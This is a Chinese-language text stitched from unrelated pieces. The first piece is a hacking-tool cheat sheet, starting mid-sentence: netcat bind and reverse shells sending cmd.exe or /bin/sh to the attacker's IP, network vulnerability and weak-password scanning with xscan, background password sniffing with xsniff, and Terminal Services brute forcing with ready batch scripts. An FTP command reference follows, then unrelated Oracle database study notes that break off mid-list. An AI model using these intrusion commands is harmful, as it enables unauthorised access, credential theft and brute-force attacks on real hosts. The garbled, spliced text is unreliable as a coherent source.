test.txt.missing ”,注意命令中的“.”   系统外部命令   注:系统外部命令(均需下载相关工具)   瑞士军刀:nc.exe    参数说明:   -h 查看帮助信息   -d 后台模式   -e prog程序重定向,一但连接就执行[危险]   -i secs延时的间隔   -l 监听模式,用于入站连接   -L 监听模式,连接天闭后仍然继续监听,直到CTR+C   -n IP地址,不能用域名   -o film记录16进制的传输   -p[空格]端口 本地端口号   -r 随机本地及远程端口   -t 使用Telnet交互方式   -u UDP模式   -v 详细输出,用-vv将更详细   -w数字 timeout延时间隔   -z 将输入,输出关掉(用于扫锚时)   基本用法:   nc -nvv 192.168.0.1 80 连接到192.168.0.1主机的80端口   nc -l -p 80 开启本机的TCP 80端口并监听   nc -nvv -w2 -z 192.168.0.1 80-1024 扫锚192.168.0.1的80-1024端口   nc -l -p 5354 -t -e c:winntsystem32cmd.exe 绑定remote主机的cmdshell在remote的TCP 5354端口   nc -t -e c:winntsystem32cmd.exe 192.168.0.2 5354 梆定remote主机的cmdshell并反向连接192.168.0.2的5354端口   高级用法:   nc -L -p 80 作为蜜罐用1:开启并不停地监听80端口,直到CTR+C为止   nc -L -p 80 > c:log.txt 作为蜜罐用2:开启并不停地监听80端口,直到CTR+C,同时把结果输出到c:log.txt   nc -L -p 80 < c:honeyport.txt 作为蜜罐用3-1:开启并不停地监听80端口,直到CTR+C,并把c:honeyport.txt中内容送入管道中,亦可起到传送文件作用   type.exe c:honeyport | nc -L -p 80 作为蜜罐用3-2:开启并不停地监听80端口,直到CTR+C,并把c:honeyport.txt中内容送入管道中,亦可起到传送文件作用   本机上用: nc -l -p 本机端口   在对方主机上用:nc -e cmd.exe 本机IP -p 本机端口 *win2K   nc -e /bin/sh 本机IP -p 本机端口 *linux,unix 反向连接突破对方主机的防火墙   本机上用:nc -d -l -p 本机端口 存放文件的路径及名称 传送文件到对方主机   备 注:   | 管道命令    重定向命令。“<;”,例如:tlntadmn > d:log.txt 意思是:后台执行dir,并把结果存在d:log.txt中   >与>>的区别 ">"指:覆盖;">>"指:保存到(添加到)。   如:@dir c:winnt >> d:log.txt和@dir c:winnt > d:log.txt二个命令分别执行二次比较看:用>>的则是把二次的结果都保存了,而用:>则只有一次的结果,是因为第二次的结果把第一次的覆盖了。   八:   扫描工具:xscan.exe   基本格式   xscan -host [-] [其他选项] 扫锚"起始IP到终止IP"段的所有主机信息   xscan -file [其他选项] 扫锚"主机IP列表文件名"中的所有主机信息   检测项目   -active 检测主机是否存活   -os 检测远程操作系统类型(通过NETBIOS和SNMP协议)   -port 检测常用服务的端口状态   -ftp 检测FTP弱口令   -pub 检测FTP服务匿名用户写权限   -pop3 检测POP3-Server弱口令   -smtp 检测SMTP-Server漏洞   -sql 检测SQL-Server弱口令   -smb 检测NT-Server弱口令   -iis 检测IIS编码/解码漏洞   -cgi 检测CGI漏洞   -nasl 加载Nessus攻击脚本   -all 检测以上所有项目   其它选项   -i 适配器编号 设置网络适配器,可通过"-l"参数获取   -l 显示所有网络适配器   -v 显示详细扫描进度   -p 跳过没有响应的主机   -o 跳过没有检测到开放端口的主机   -t 并发线程数量,并发主机数量 指定最大并发线程数量和并发主机数量,默认数量为100,10 -log 文件名 指定扫描报告文件名 (后缀为:TXT或HTML格式的文件)   用法示例   xscan -host 192.168.1.1-192.168.255.255 -all -active -p  检测192.168.1.1-192.168.255.255网段内主机的所有漏洞,跳过无响应的主机   xscan -host 192.168.1.1-192.168.255.255 -port -smb -t 150 -o 检测192.168.1.1-192.168.255.255网段内主机的标准端口状态,NT弱口令用户,最大并发线程数量为150,跳过没有检测到开放端口的主机   xscan -file hostlist.txt -port -cgi -t 200,5 -v -o 检测“hostlist.txt”文件中列出的所有主机的标准端口状态,CGI漏洞,最大并发线程数量为200,同一时刻最多检测5台主机,显示详细检测进度,跳过没有检测到开放端口的主机   九:   命令行方式嗅探器: xsniff.exe   可捕获局域网内FTP/SMTP/POP3/HTTP协议密码   参数说明   -tcp 输出TCP数据报   -udp 输出UDP数据报   -icmp 输出ICMP数据报   -pass 过滤密码信息   -hide 后台运行   -host 解析主机名   -addr IP地址 过滤IP地址   -port 端口 过滤端口   -log 文件名 将输出保存到文件   -asc 以ASCII形式输出   -hex 以16进制形式输出   用法示例   xsniff.exe -pass -hide -log pass.log 后台运行嗅探密码并将密码信息保存在pass.log文件中   xsniff.exe -tcp -udp -asc -addr 192.168.1.1 嗅探192.168.1.1并过滤tcp和udp信息并以ASCII格式输出   终端服务密码破解: tscrack.exe   参数说明   -h 显示使用帮助   -v 显示版本信息   -s 在屏幕上打出解密能力   -b 密码错误时发出的声音   -t 同是发出多个连接(多线程)   -N Prevent System Log entries on targeted server   -U 卸载移除tscrack组件   -f 使用-f后面的密码   -F 间隔时间(频率)   -l 使用-l后面的用户名   -w 使用-w后面的密码字典   -p 使用-p后面的密码   -D 登录主页面   用法示例   tscrack 192.168.0.1 -l administrator -w pass.dic 远程用密码字典文件暴破主机的administrator的登陆密码   tscrack 192.168.0.1 -l administrator -p 123456 用密码123456远程登陆192.168.0.1的administrator用户   @if not exist ipcscan.txt goto noscan   @for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i   Nscan   @echo 3389.txt no find or scan faild   (①存为3389.bat) (假设现有用SuperScan或其它扫锚器扫到一批开有3389的主机IP列表文件3389.txt)   3389.bat意思是:从3389.txt文件中取一个IP,接着运行hack.bat   @if not exist tscrack.exe goto noscan   @tscrack %1 -l administrator -w pass.dic >>rouji.txt   :noscan   @echo tscrack.exe no find or scan faild   (②存为hack.bat) (运行3389.bat就OK,且3389.bat、hack.bat、3389.txt、pass.dic与tscrack.exe在同一个目录下;就可以等待结果了)   hack.bat意思是:运行tscrack.exe用字典暴破3389.txt中所有主机的administrator密码,并将破解结果保存在rouji.txt文件中。   其它   Shutdown.exe   Shutdown IP地址 t:20 20秒后将对方NT自动关闭(Windows 2003系统自带工具,在Windows2000下用进就得下载此工具才能用。在前面Windows 2003 DOS命令中有详细介绍。)   fpipe.exe (TCP端口重定向工具) 在第二篇中有详细说明(端口重定向绕过防火墙)   fpipe -l 80 -s 1029 -r 80 当有人扫锚你的80端口时,他扫到的结果会完全是的主机信息   Fpipe -l 23 -s 88 -r 23 目标IP 把本机向目标IP发送的23端口Telnet请求经端口重定向后,就通过88端口发送到目标IP的23端口。(与目标IP建立Telnet时本机就用的88端口与其相连接)然后:直接Telnet 127.0.0.1(本机IP)就连接到目标IP的23端口了。   OpenTelnet.exe (远程开启telnet工具)   opentelnet.exe IP 帐号 密码 ntlm认证方式 Telnet端口 (不需要上传ntlm.exe破坏微软的身份验证方式)直接远程开启对方的telnet服务后,就可用telnet ip 连接上对方。   NTLM认证方式:0:不使用NTLM身份验证;1:先尝试NTLM身份验证,如果失败,再使用用户名和密码;2:只使用NTLM身份验证。   ResumeTelnet.exe (OpenTelnet附带的另一个工具)   resumetelnet.exe IP 帐号 密码 用Telnet连接完对方后,就用这个命令将对方的Telnet设置还原,并同时关闭Telnet服务。   FTP命令详解   FTP命令是Internet用户使用最频繁的命令之一,熟悉并灵活应用FTP的内部命令,可以大大方便使用者,并收到事半功倍之效。如果你想习使用进行后台FTP下载,那么就必须习FTP指令。   FTP的命令行格式为:   ftp -v -d -i -n -g [主机名] ,其中   -v 显示远程服务器的所有响应信息   -n 限制ftp的自动登录,即不使用;.n etrc文件;   -d 使用调试方式;   -g 取消全局文件名。   FTP使用的内部命令如下(中括号表示可选项):   1.![cmd[args]]:在本地机中执行交互shell,exit回到ftp环境,如:!ls*.zip   2.$ macro-ame[args]:执行宏定义macro-name。   3.account[password]:提供登录远程系统成功后访问系统资源所需的补充口令。    4.append local-file[remote-file]:将本地文件追加到远程系统主机,若未指定远程系统文件名,则使用本地文件名。   5.ascii:使用ascii类型传输方式。   6.bell:每个命令执行完毕后计算机响铃一次。   7.bin:使用二进制文件传输方式。   8.bye:退出ftp会话过程。   9.case:在使用mget时,将远程主机文件名中的大写转为小写字母。   10. cd remote-dir:进入远程主机目录。   11.cdup:进入远程主机目录的父目录。   12.chmod mode file-name:将远程主机文件file-name的存取方式设置为mode,如:chmod 777 a.out。   13.close:中断与远程服务器的ftp会话(与open对应)。   14 .cr:使用asscii方式传输文件时,将回车换行转换为回行。   15.delete remote-file:删除远程主机文件。   16.debug[debug-value]:设置调试方式, 显示发送至远程主机的每条命令,如:deb up 3,若设为0,表示取消debug。   17.dir[remote-dir][local-file]:显示远程主机目录,并将结果存入本地文件。    18.disconnection:同close。   19.form format:将文件传输方式设置为format,缺省为file方式。   20.get remote-file[local-file]:将远程主机的文件remote-file传至本地硬盘的local-file。   21.glob:设置mdelete,mget,mput的文件名扩展,缺省时不扩展文件名,同命令行的-g参数。   22.hash:每传输1024字节,显示一个hash符号(#)。   23.help[cmd]:显示ftp内部命令cmd的帮助信息,如:help get。    24.idle[seconds]:将远程服务器的休眠计时器设为[seconds]秒。 25.image:设置二进制传输方式(同binary)。 26.lcd[dir]:将本地工作目录切换至dir。 27. ls[remote-dir][local-file]:显示远程目录remote-dir, 并存入本地文件local-file。 28.macdef macro-name:定义一个宏,遇到macdef下的空行时,宏定义结束。 29.mdelete[remote-file]:删除远程主机文件。 30.mdir remote-files local-file:与dir类似,但可指定多个远程文件,如 :mdir *.o.*.zipoutfile。 31.mget remote-files:传输多个远程文件。 32.mkdir dir-name:在远程主机中建一目录。 33.mls remote-file local-file:同nlist,但可指定多个文件名。 34.mode[modename]:将文件传输方式设置为modename, 缺省为stream方式。    modtime file-name:显示远程主机文件的最后修改时间。 mput local-file:将多个文件传输至远程主机。 newer file-name:如果远程机中file-name的修改时间比本地硬盘同名文件的时间更近,则重传该文件。   38.nlist[remote-dir][local-file]:显示远程主机目录的文件清单,并存入本地硬盘的local-file。   39.nmap[inpattern outpattern]:设置文件名映射机制, 使得文件传输时,文件中的某些字符相互转换, 如:nmap $1.$2.$3[$1,$2].[$2,$3],则传输文件a1.a2.a3时,文件名变为a1,a2。该命令特别适用于远程主机为非UNIX机的情况。   40.ntrans[inchars[outchars]]:设置文件名字符的翻译机制,如ntrans1R,则文件名LLL将变为RRR。   41.open host[port]:建立指定ftp服务器连接,可指定连接端口。   42.passive:进入被动传输方式。   43.prompt:设置多个文件传输时的交互提示。   44.proxy ftp-cmd:在次要控制连接中,执行一条ftp命令, 该命令允许连接两个ftp服务器,以在两个服务器间传输文件。第一条ftp命令必须为open,以首先建立两个服务器间的连接。   45.put local-file[remote-file]:将本地文件local-file传送至远程主机。   46.pwd:显示远程主机的当前工作目录。   47.quit:同bye,退出ftp会话。   48.quote arg1,arg2...:将参数逐字发至远程ftp服务器,如:quote syst.   49.recv remote-file[local-file]:同get。   50.reget remote-file[local-file]:类似于get, 但若local-file存在,则从上次传输中断处续传。   51.rhelp[cmd-name]:请求获得远程主机的帮助。   52.rstatus[file-name]:若未指定文件名,则显示远程主机的状态, 否则显示文件状态。   53.rename[from][to]:更改远程主机文件名。   54.reset:清除回答队列。   55.restart marker:从指定的标志marker处,重新开始get或put,如:restart 130。   56.rmdir dir-name:删除远程主机目录。   57.runique:设置文件名只一性存储,若文件存在,则在原文件后加后缀.1, .2等。   58.send local-file[remote-file]:同put。   59.sendport:设置PORT命令的使用。   60.site arg1,arg2...:将参数作为SITE命令逐字发送至远程ftp主机。   61.size file-name:显示远程主机文件大小,如:site idle 7200。   62.status:显示当前ftp状态。   63.struct[struct-name]:将文件传输结构设置为struct-name, 缺省时使用stream结构。   64.sunique:将远程主机文件名存储设置为只一(与runique对应)。   65.system:显示远程主机的操作系统类型。   66.tenex:将文件传输类型设置为TENEX机的所需的类型。   67.tick:设置传输时的字节计数器。   68.trace:设置包跟踪。   69.type[type-name]:设置文件传输类型为type-name,缺省为ascii,如:type binary,设置二进制传输方式。   70.umask[newmask]:将远程服务器的缺省umask设置为newmask,如:umask 3   71.user user-name[password][account]:向远程主机表明自己的身份,需要口令时,必须输入口令,如:user anonymous my@email。   72.verbose:同命令行的-v参数,即设置详尽报告方式,ftp 服务器的所有响 应都将显示给用户,缺省为on.   73.?[cmd]:同help.
oracle习文档 笔记 全面 深刻 详细 通俗易懂 doc word格式 清晰 第一章 Oracle入门 一、 数据库概述 数据库(Database)是按照数据结构来组织、存储和管理数据的仓库,它产生于距今五十年前。简单来说是本身可视为电子化的文件柜——存储电子文件的处所,用户可以对文件中的数据运行新增、截取、更新、删除等操作。 常见的数据模型 1. 层次结构模型: 层次结构模型实质上是一种有根结点的定向有序树,IMS(Information Manage-mentSystem)是其典型代表。 2. 网状结构模型:按照网状数据结构建立的数据库系统称为网状数据库系统,其典型代表是DBTG(Data Base Task Group)。 3. 关系结构模型:关系式数据结构把一些复杂的数据结构归结为简单的二元关系(即二维表格形式)。常见的有Oracle、mssql、mysql等 二、 主流数据库 数据库名 公司 特点 工作环境 mssql 微软 只能能运行在windows平台,体积比较庞大,占用许多系统资源, 但使用很方便,支持命令和图形化管理,收费。 中型企业 Mysql 甲骨文 是个开源的数据库server,可运行在多种平台, 特点是响应速度特别快,主要面向中小企业 中小型企业 PostgreSQL 号称“世界上最先进的开源数据库“,可以运行在多种平台下,是tb级数据库,而且性能也很好 中大型企业 oracle 甲骨文 获得最高认证级别的ISO标准安全认证,性能最高, 保持开放平台下的TPC-D和TPC-C的世界记录。但价格不菲 大型企业 db2 IBM DB2在企业级的应用最为广泛, 在全球的500家最大的企业中,几乎85%以上用DB2数据库服务器。收费 大型企业 Access 微软 Access是一种桌面数据库,只适合数据量少的应用,在处理少量 数据和单机访问的数据库时是很好的,效率也很高 小型企业 三、 Oracle数据库概述 ORACLE数据库系统是美国ORACLE公司(甲骨文)提供的以分布式数据库为核心的一组软件产品,是目前最流行的客户/服务器(CLIENT/SERVER)或B/S体系结构的数据库之一。  拉里•埃里森  就业前景 从就业与择业的角度来讲,计算机相关专业的大生从事oracle方面的技术是职业发展中的最佳选择。 其一、就业面广:全球前100强企业99家都在使用ORACLE相关技术,中国政府机构,大中型企事业单位都能有ORACLE技术的工程师岗位。 其二、技术层次深:如果期望进入IT服务或者产品公司(类似毕博、DELL、IBM等),Oracle技术能够帮助提高就业的深度。 其三、职业方向多:Oracle数据库管理方向、Oracle开发及系统架构方向、Oracle数据建模数据仓库等方向。 四、 如何习 认真听课、多思考问题、多动手操作、有问题一定要问、多参与讨论、多帮组同 五、 体系结构 oracle的体系很庞大,要习它,首先要了解oracle的框架。oracle的框架主要由物理结构、逻辑结构、内存分配、后台进程、oracle例程、系统改变号 (System Change Number)组成  物理结构 物理结构包含三种数据文件: 1) 控制文件 2) 数据文件 3) 在线重做日志文件  逻辑结构 功能:数据库如何使用物理空间 组成:表空间、段、区、块的组成层次 六、 oracle安装、卸载和启动  硬件要求 物理内存:1GB 可用物理内存:50M 交换空间大小:3.25GB 硬盘空间:10GB  安装 1. 安装程序成功下载,将会得到如下2个文件: 解压文件将得到database文件夹,文件组织如下: 点击setup.exe执行安装程序,开始安装。 2. 点击安装程序将会出现如下安装界面,步骤 1/9:配置安全更新 填写电子邮件地址(可以不填),去掉复选框,点击下一步 3. 步骤2/9:选择安装选项 勾选第一个,安装和配置数据库,点击下一步 4. 步骤3/8:选择系统类 勾选第一个:桌面类,点击下一步 5. 步骤4/8:配置数据库安装 选择安装路径,选择数据库版本(企业版),选择字符集(默认值) 填写全局数据库名,管理口令 6. 步骤5/8:先决条件检查 如果你的电脑满足要求但仍然显示检查失败,这时候直接忽略,勾选全部忽略 7. 步骤6/8:概要信息 核对将要安装数据的详细信息,并保存响应文件,以备以后查看。然后点击完成数据库安装 8. 步骤7/8:安装产品 产品安装过程中将会出现以上2个界面 9. 步骤8/8:完成安装  卸载Oracle 1. 在运行services.msc打开服务,停止Oracle的所有服务。 2. oracle11G自带一个卸载批处理\app\Administrator\product\11.2.0\dbhome_1\deinstall\deinstall.bat 3. 运行该批处理程序将自动完成oracle卸载工作,最后手动删除\app文件夹(可能需要重启才能删除) 4. 运行regedit命令,打开注册表窗口。删除注册表中与Oracle相关的内容,具体如下:  删除HKEY_LOCAL_MACHINE/SOFTWARE/ORACLE目录。  删除HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services中所有以oracle或OraWeb为开头的键。  删除HKEY_LOCAL_MACHINE/SYSETM/CurrentControlSet/Services/Eventlog/application中所有以oracle开头的键。  删除HKEY_CLASSES_ROOT目录下所有以Ora、Oracle、Orcl或EnumOra为前缀的键。  删除HKEY_CURRENT_USER/SOFTWARE/Microsoft/windows/CurrentVersion/Explorer/MenuOrder/Start Menu/Programs中所有以oracle 开头的键。  删除HKDY_LOCAL_MACHINE/SOFTWARE/ODBC/ODBCINST.INI中除Microsoft ODBC for Oracle注册表键以外的所有含有Oracle的键。  删除环境变量中的PATHT CLASSPATH中包含Oracle的值。  删除“开始”/“程序”中所有Oracle的组和图标。  删除所有与Oracle相关的目录,包括: C:\Program file\Oracle目录。 ORACLE_BASE目录。 C:\Documents and Settings\系统用户名、LocalSettings\Temp目录下的临时文件。 七、 oracle中的数据库 八、 常用的工具  Sql Plus  Sql Developer  Oracle Enterprise Manager   第二章 用户和权限 一、 用户介绍 ORACLE用户是习ORACLE数据库中的基础知识,下面就介绍下类系统常用的默认ORACLE用户: 1. sys用户:超级用户,完全是个SYSDBA(管理数据库的人)。拥有dba,sysdba,sysoper等角色或权限。是oracle权限最高的用户,登录时不能用normal。 2. system用户:超级用户,默认是SYSOPT(操作数据库的人),不过它也能以SYSDBA的权限登陆。拥有普通dba角色权限。 3. scott用户:是个演示用户,是让你习Oracle用的。 二、 常用命令 习oracle,首先我们必须要掌握常用的基本命令,oracle中的命令比较多,常用的命令如下: 1. 登录命令(sqlplus) 说明:用于登录到oracle数据库 用法:sqlplus 用户名/密码 [as sysdba/sysoper] 注意:当用特权用户登录时,必须带上sysdba或sysoper 例子: 普通用户登录 sys用户登录 操作系统的身份登录 2. 连接命令(conn) 说明:用于连接到oracle数据库,也可实现用户的切换 用法:conn 用户名/密码 [as sysdba/sysoper] 注意:当用特权用户连接时,必须带上sysdba或sysoper 例子: 3. 断开连接(disc) 说明:断开与当前数据库的连接 用法:disc 4. 显示用户名(show user) 说明:显示当前用户名 用法:show user 5. 退出(exit) 说明:断开与当前数据库的连接并会退出 用法:exit 6. 编辑脚本(edit/ed) 说明:编辑指定或缓冲区的sql脚本 用法:edit [文件名] 列子: 7. 运行脚本 (start/@) 说明:运行指定的sql脚本 用法:start/@ 文件名 列子: 8. 印刷屏幕 (spool) 说明:将sql*plus屏幕中的内容输出到指定的文件 用法:开始印刷->spool 文件名 结束印刷->spool off 列子: 文件内容 9. 显示宽度 (linesize) 说明:设置显示行的宽度,默认是80个字符 用法:set linesize 120 10. 显示页数 (pagesize) 说明:设置每页显示的行数,默认是14页 用法:set pagesize 20 三、 用户管理 1. 创建用户 说明:Oracle中需要创建用户一定是要具有dba(数据库管理员)权限的用户才能创建,而且创建的新用户不具备任何权限,连登录都不可以。 用法:create user 新用户名 identified by 密码 例子: 2. 修改密码 说明:修改用户密码一般有两种方式,一种是通过命令password修改,另一种是通过语句alter user实现,如果要修改他人的密码,必须要具有相关的权限才可以 用法: 方式一 password [用户名] 方式二 alert user 用户名 identified by 新密码 例子: 修改当前用户(方式一) 修改当前用户(方式二) 修改其他用户(方式一) 修改其他用户(方式二) 3. 用户禁用与启用 说明:Oracle中想要禁用或启用一个账户也同样是使用alter user 命令来完成,只是语法和修改密码有所不同。 用法: 禁用 alert user 用户名 account lock 启用 alert user 用户名 account unlock 4. 删除用户 说明:Oracle中要删除一个用户,必须要具有dba的权限。而且不能删除当前用户,如果删除的用户有数据对象,那么必须加上关键字cascade。 用法:drop user 用户名 [cascade] 四、 用户权限与角色 1. 权限 Oracle中权限主要分为两种,系统权限和实体权限。  系统权限:系统规定用户使用数据库的权限。(系统权限是对用户而言)。  DBA: 拥有全部特权,是系统最高权限,只有DBA才可以创建数据库结构。  RESOURCE:拥有Resource权限的用户只可以创建实体,不可以创建数据库结构。  CONNECT:拥有Connect权限的用户只可以登录Oracle,不可以创建实体,不可以创建数据库结构。 注意: 对于普通用户:授予connect, resource权限。 对于DBA管理用户:授予connect,resource, dba权限。  授予系统权限 说明:要实现授予系统权限只能由DBA用户授出。 用法:grant 系统权限1[,系统权限2]… to 用户名1[,用户名2]…. 例子:  系统权限回收: 说明:系统权限只能由DBA用户回收 用法:revoke 系统权限 from 用户名 例子:  实体权限:某种权限用户对其它用户的表或视图的存取权限。(是针对表或视图而言的)。主要包括select, update, insert, alter, index, delete, all其中all包括所有权限。  授予实体权限 用法:grant 实体权限1[,实体权限2]… on 表名 to用户名1[,用户名2]…. 例子:  实体权限回收 用法:revoke 实体权限 on 表名from 用户名 例子:  查询用户拥有哪里权限: SQL> select * from role_tab_privs;//查询授予角色的对象权限 SQL> select * from role_role_privs;//查询授予另一角色的角色 SQL> select * from DBA_tab_privs;//查询直接授予用户的对象权限 SQL> select * from dba_role_privs;//查询授予用户的角色 SQL> select * from dba_sys_privs;//查询授予用户的系统权限 SQL> select * from role_sys_privs;//查询授予角色的系统权限 SQL> Select * from session_privs;// 查询当前用户所拥有的权限 2. 角色 角色。角色是一组权限的集合,将角色赋给一个用户,这个用户就拥有了这个角色中的所有权限。  系统预定义角色 预定义角色是在数据库安装后,系统自动创建的一些常用的角色。下面我们就简单介绍些系统角色:  CONNECT, RESOURCE, DBA这些预定义角色主要是为了向后兼容。其主要是用于数据库管理。oracle建议用户自己设计数据库管理和安全的权限规划,而不要简单的使用这些预定角色。将来的版本中这些角色可能不会作为预定义角色。  DELETE_CATALOG_ROLE, EXECUTE_CATALOG_ROLE,SELECT_CATALOG_ROLE这些角色主要用于访问数据字典视图和包。  EXP_FULL_DATABASE, IMP_FULL_DATABASE这两个角色用于数据导入导出工具的使用。  自定义角色 Oracle建议我们自定义自己的角色,使我们更加灵活方便去管理用户  创建角色 SQL> create role admin;  授权给角色 SQL> grant connect,resource to admin;  撤销角色的权限 SQL> revoke connect from admin;  删除角色 SQL> drop role admin;   第三章 Sql查询与函数 一、 SQL概述 SQL(Structured Query Language)结构化查询语言,是一种数据库查询和程序设计语言,用于存取数据以及查询、更新和管理关系数据库系统。同时也是数据库脚本文件的扩展名。  SQL语言主要包含5个部分  数据定义语言Data Definition Language(DDL),用来建立数据库、数据对象和定义其列。例如:CREATE、DROP、ALTER等语句。  数据操作语言Data Manipulation Language(DML),用来插入、修改、删除、查询,可以修改数据库中的数据。例如:INSERT(插入)、UPDATE(修改)、DELETE(删除)语句  数据查询语言 (Data Query Language, DQL) 是SQL语言中,负责进行数据查询而不会对数据本身进行修改的语句,这是最基本的SQL语句。例如:SELECT(查询)  数据控制语言Data Controlling Language(DCL),用来控制数据库组件的存取允许、存取权限等。例如:GRANT、REVOKE、COMMIT、ROLLBACK等语句。  事务控制语言(Transactional Control Language,TCL),用于维护数据的一致性,包括COMMIT(提交事务)、ROLLBACK(回滚事务)和SAVEPOINT(设置保存点)3条语句 二、 Oracle的数据类型 类型 参数 描述 字符类型 char 1~2000字节 固定长度字符串,长度不够的用空格补充 varchar2 1~4000字节 可变长度字符串,与CHAR类型相比,使用VARCHAR2可以节省磁盘空间,但查询效率没有char类型高 数值类型 Number(m,n) m(1~38) n(-84~127) 可以存储正数、负数、零、定点数和精度为38位的浮点数,其中,M表示精度,代表数字的总位数;N表示小数点右边数字的位数 日期类型 date 7字节 用于存储表中的日期和时间数据,取值范围是公元前4712年1月1日至公元9999年12月31日,7个字节分别表示世纪、年、月、日、时、分和秒 二进制数据类型 row 1~2000字节 可变长二进制数据,在具体定义字段的时候必须指明最大长度n long raw 1~2GB 可变长二进制数据 LOB数据类型 clob 1~4GB 只能存储字符数据 nclob 1~4GB 保存本地语言字符集数据 blob 1~4GB 以二进制信息保存数据 三、 DDL语言 1. Create table命令 用于创建表。在创建表时,经常会创建该表的主键、外键、唯一约束、Check约束等  语法结构 create table 表名( [字段名] [类型] [约束] ……….. CONSTRAINT fk_column FOREIGN KEY(column1,column2,…..column_n) REFERENCES tablename(column1,column2,…..column_n) )  例子: create table student( stuNo char(32) primary key,--主键约束 stuName varchar2(20) not null,--非空约束 cardId char(20) unique,--唯一约束 sex char(2) check(sex='男' or sex='女'),--检查约束 address varchar2(100) default '地址不详'--默认约束 ) create table mark( mid int primary key,--主键约束 stuNo char(32) not null, courseName varchar2(20) not null,--非空约束 score number(3) not null check(score>=0 and scoreselect * from em--查询所有数据 SQL>select ename,job from em--查询指定的字段数据 SQL> select * from emp where sal>1000--加条件 2. 聚合函数 聚合函数对一组值执行计算并返回单一的值。聚合函数忽略空值。聚合函数经常与 SELECT 语句的 GROUP BY 子句一同使用。不能在 WHERE 子句中使用组函数。  AVG(expression): 返回集合中各值的平均值 --查询所有人都的平均工资 select avg(sal) from emp  COUNT(expression): 以 Int32 形式返回集合中的项数 --查询工资低于2000的人数 select count(*) from emp where sal2000 5. 连接查询 连接查询是关系数据库中最主要的查询,主要包括内连接、外连接和交叉连接等。通过连接运算符可以实现多个表查询。  内连接 内连接也叫连接,是最早的一种连接。还可以被称为普通连接或者自然连接,内连接是从结果表中删除与其他被连接表中没有匹配行的所有行,所以内连接可能会丢失信息。  等值连接: select * from emp inner join dept on emp.deptno=dept.deptno select * from emp,dept where emp.deptno=dept.deptno  不等值连接: select * from emp inner join dept on emp.deptno!=dept.deptno  外连接 外连接分为三种:左外连接,右外连接,全外连接。对应SQL:LEFT/RIGHT/FULL OUTER JOIN。通常我们省略outer 这个关键字。写成:LEFT/RIGHT/FULL JOIN。  左外连接(left join): 是以左表的记录为基础的 select * from emp left join dept on emp.deptno=dept.deptno  右外连接(right join): 和left join的结果刚好相反,是以右表(BL)为基础的 select * from emp right join dept on emp.deptno=dept.deptno  全外连接(full join): 左表和右表都不做限制,所有的记录都显示,两表不足的地方用null 填充 select * from emp full join dept on emp.deptno=dept.deptno  交叉连接 交叉连接即笛卡儿乘积,是指两个关系中所有元组的任意组合。一般情况下,交叉查询是没有实际意义的。 select * from cross full join dept 6. 常用查询  like模糊查询 --查询姓名首字母为S开始的员工信息 select * from emp where ename like 'S%' --查询姓名第三个字母为A的员工信息 select * from emp where ename like '__A%'  is null/is not null 查询 --查询没有奖金的雇员信息 select * from emp where comm is null --查询有奖金的雇员信息 select * from emp where comm is not null  in查询 --查询雇员编号为7566、7499、7844的雇员信息 select * from emp where empno in(7566,7499,7844)  exists/not exists查询(效率高于in) --查询有上级领导的雇员信息 select * from emp e where exists (select * from emp where empno=e.mgr) --查询没有上级领导的雇员信息 select * from emp e where not exists (select * from emp where empno=e.mgr)  all查询 --查询比部门编号为20的所有雇员工资都高的雇员信息 select * from emp where sal > all(select sal from emp where deptno=20)  union合并不重复 select * from emp where comm is not null union select * from emp where sal>3000  union all合并重复 select * from emp where comm is not null union all select * from emp where sal>3000 7. 子查询 当一个查询是另一个查询的条件时,称之为子查询。子查询是一个 SELECT 语句,它嵌套在一个 SELECT、SELECT...INTO 语句、INSERT...INTO 语句、DELETE 语句、或 UPDATE 语句或嵌套在另一子查询中。  在CREATE TABLE语句中使用子查询 --创建表并拷贝数据 create table temp(id,name,sal) as select empno,ename,sal from emp  在INSERT语句中使用子查询 --当前表拷贝 insert into temp(id,name,sal) select * from temp --从其他表指定字段拷贝 insert into temp(id,name,sal) select empno,ename,sal from emp  在DELETE语句中使用子查询 --删除SALES部门中的所有雇员 delete from emp where deptno in (select deptno from dept where dname='SALES')  在UPDATE语句中使用子查询 --修改scott用户的工资和smith的工资一致 update emp set sal=(select sal from emp where ename='SMITH') where ename='SCOTT' --修改black用户的工作,工资,奖金和scott一致 update emp set(job,sal,comm)=(select job,sal,comm from emp where ename='SCOTT') where ename='BLAKE'  在SELECT语句中使用子查询 --查询和ALLEN同一部门的员工信息 select * from emp where deptno in (select deptno from emp where ename='ALLEN') --查询工资大于部门平均工资的雇员信息 select * from emp e (select avg(sal) asal,deptno from emp group by deptno) t where e.deptno=t.deptno and e.sal>t.asal 六、 TCL语言 1. COMMIT commit --提交事务 2. ROLLBACK rollback to p1 --回滚到指定的保存点 rollback --回滚所有的保存点 3. SAVEPOINT savepoint p1 --设置保存点 4. 只读事务 只读事务是指只允许执行查询的操作,而不允许执行任何其它dml操作的事务,它的作用是确保用户只能取得某时间点的数据。 set transaction read only 七、 oracle函数 1. 字符串函数 字符串函数是oracle中比较常用的,下面我们就介绍些常用的字符串函数:  concat:字符串连接函数,也可以使用’||’ --将职位和雇员名称显示在一列中 select concat(ename,concat('(',concat(job,')'))) from emp select ename || '(' || job || ')' from emp  length:返回字符串的长度 --查询雇员名字长度为5个字符的信息 select * from emp where length(ename)=5  lower:将字符串转换成小写 --以小写方式显示雇员名 select lower(ename) from emp  upper:将字符串转换成大写 --以大写方式显示雇员名 select upper (ename) from emp  substr:截取字符串 --只显示雇员名的前3个字母 select substr(ename,0,3) from emp  replace:替换字符串 --将雇员的金额显示为*号 select ename,replace(sal,sal,’*’) from emp  instr:查找字符串 --查找雇员名含有’LA’字符的信息 select * from emp where instr(ename,’LA’)>0 2. 日期函数  sysdate:返回当前session所在时区的默认时间 --获取当前系统时间 select sysdate from dual  add_months:返回指定日期月份+n之后的值,n可以为任何整数 --查询当前系统月份+2的时间 select add_months(sysdate,2) from dual --查询当前系统月份-2的时间 select add_months(sysdate,-2) from dual  last_day:返回指定时间所在月的最后一天 --获取当前系统月份的最后一天 select last_day(sysdate) from dual  months_between:返回月份差,结果可正可负,当然也有可能为0 --获取入职日期距离当前时间多少天 select months_between(sysdate, hiredate) from emp  trunc:为指定元素而截去的日期值 --获取当前系统年,其他默认 select trunc(sysdate,'yy') from dual --查询81年2月份入职的雇员 select * from emp where trunc(hiredate,'mm')=trunc(to_date('1981-02','yyyy-mm'),'mm') 3. 转换函数  